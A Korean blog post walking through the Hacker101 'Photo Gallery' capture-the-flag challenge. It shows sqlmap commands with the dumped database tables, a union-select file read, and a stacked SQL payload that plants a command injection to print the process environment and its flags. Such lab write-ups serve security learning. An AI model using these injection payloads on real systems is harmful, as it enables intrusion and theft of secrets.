본문으로 바로가기

[Hacker101 CTF] Photo Gallery

category Wargame/Hacker101 CTF 2020. 2. 18. 03:32

Photo Gallery (Moderate, 6)

Flag0

Flag1에서 sqlmap으로 DB 구조를 알면, id로 filename를 select 해서 가져온다고 생각해볼 수 있다.

id를 범위 밖 값으로 만들어 준 뒤 union select '{path}'를 뒤에 붙여서 임의의 파일을 자유롭게 읽을 수 있고, main.py를 읽으면 플래그를 얻을 수 있다.

 

Flag: ^FLAG^f12b6f58304da5ea511c6132a3483c6cd52a7cd4ef9dca2dcad9a86149931c41$FLAG$

 

Flag1

id에 대해서 sqlmap을 돌려서 데이터베이스를 뽑아온다.

 

python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment --dbs --threads=4          
available databases [4]:
[*] information_schema
[*] level5
[*] mysql
[*] performance_schema

 

python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment -D level5 --tables --threads=2         
Database: level5
[2 tables]
+--------+
| albums |
| photos |
+--------+

 

syine@MinetaLinux:~/repos/sqlmap-dev$ python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment -D level5 -T albums --columns --threads=2          
Database: level5
Table: albums
[2 columns]
+--------+---------+
| Column | Type    |
+--------+---------+
| id     | int(11) |
| title  | text    |
+--------+---------+
 
syine@MinetaLinux:~/repos/sqlmap-dev$ python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment -D level5 -T photos --columns --threads=2
Database: level5
Table: photos
[4 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| filename | text    |
| id       | int(11) |
| parent   | int(11) |
| title    | text    |
+----------+---------+

 

syine@MinetaLinux:~/repos/sqlmap-dev$ python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment -D level5 -T albums --dump --threads=2
Database: level5
Table: albums
[1 entry]
+----+---------+
| id | title   |
+----+---------+
| 1  | Kittens |
+----+---------+
 
syine@MinetaLinux:~/repos/sqlmap-dev$ python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment -D level5 -T photos --dump --threads=2
Database: level5
Table: photos
[3 entries]
+----+------------------+--------+------------------------------------------------------------------+
| id | title            | parent | filename                                                         |
+----+------------------+--------+------------------------------------------------------------------+
| 1  | Utterly adorable | 1      | files/adorable.jpg                                               |
| 2  | Purrfect         | 1      | files/purrfect.jpg                                               |
| 3  | Invisible        | 1      | 95f30120ca9d35bbdbaca0464ffa2b3e124de1f755a602a6601f26b506c319fe |
+----+------------------+--------+------------------------------------------------------------------+

 

Invisible의 filename이 플래그다.

 

Flag: ^FLAG^95f30120ca9d35bbdbaca0464ffa2b3e124de1f755a602a6601f26b506c319fe$FLAG$

 

Flag2

첫 번째 힌트를 보고 풀 수 있었다.

홈 페이지에서 사용 공간을 계산할 때 du -ch {data} 에서 Command Injection 취약점이 발생한다. id=3인 항목의 filename을 바꿔서 임의의 명령어를 실행할 수 있다.

 

아래 값을 /fetch에 id로 넘겨주면 된다.

 

3;UPDATE/**/photos/**/SET/**/filename='.|| cat /proc/self/environ'/**/WHERE/**/id=3;commit;

 

Space used: PYTHONIOENCODING=UTF-8
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
FLAGS=["^FLAG^f12b6f58304da5ea511c6132a3483c6cd52a7cd4ef9dca2dcad9a86149931c41$FLAG$", "^FLAG^95f30120ca9d35bbdbaca0464ffa2b3e124de1f755a602a6601f26b506c319fe$FLAG$", "^FLAG^1f872c2bb02899637732a6b6b24a8c853f42326fbdd2417b04654e0116764379$FLAG$"]
HOSTNAME=456fe6241dbf
SHLVL=0
PYTHON_PIP_VERSION=18.0
HOME=/root
GPG_KEY=C01E1CAD5EA2C4F0B8E3571504C367C218ADD4FF
UWSGI_INI=/app/uwsgi.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=2.7.15
NGINX_WORKER_PROCESSES=1
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80
STATIC_INDEX=0
PWD=/app
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=0

 

Flag: ^FLAG^1f872c2bb02899637732a6b6b24a8c853f42326fbdd2417b04654e0116764379$FLAG$

'Wargame > Hacker101 CTF' 카테고리의 다른 글

[Hacker101 CTF] Postbook  (0) 2020.02.19
[Hacker101 CTF] Cody's First Blog  (0) 2020.02.18
[Hacker101 CTF] Encrypted Pastebin  (0) 2020.02.16
[Hacker101 CTF] Micro-CMS v2  (0) 2020.02.15
[Hacker101 CTF] Micro-CMS v1  (0) 2020.02.15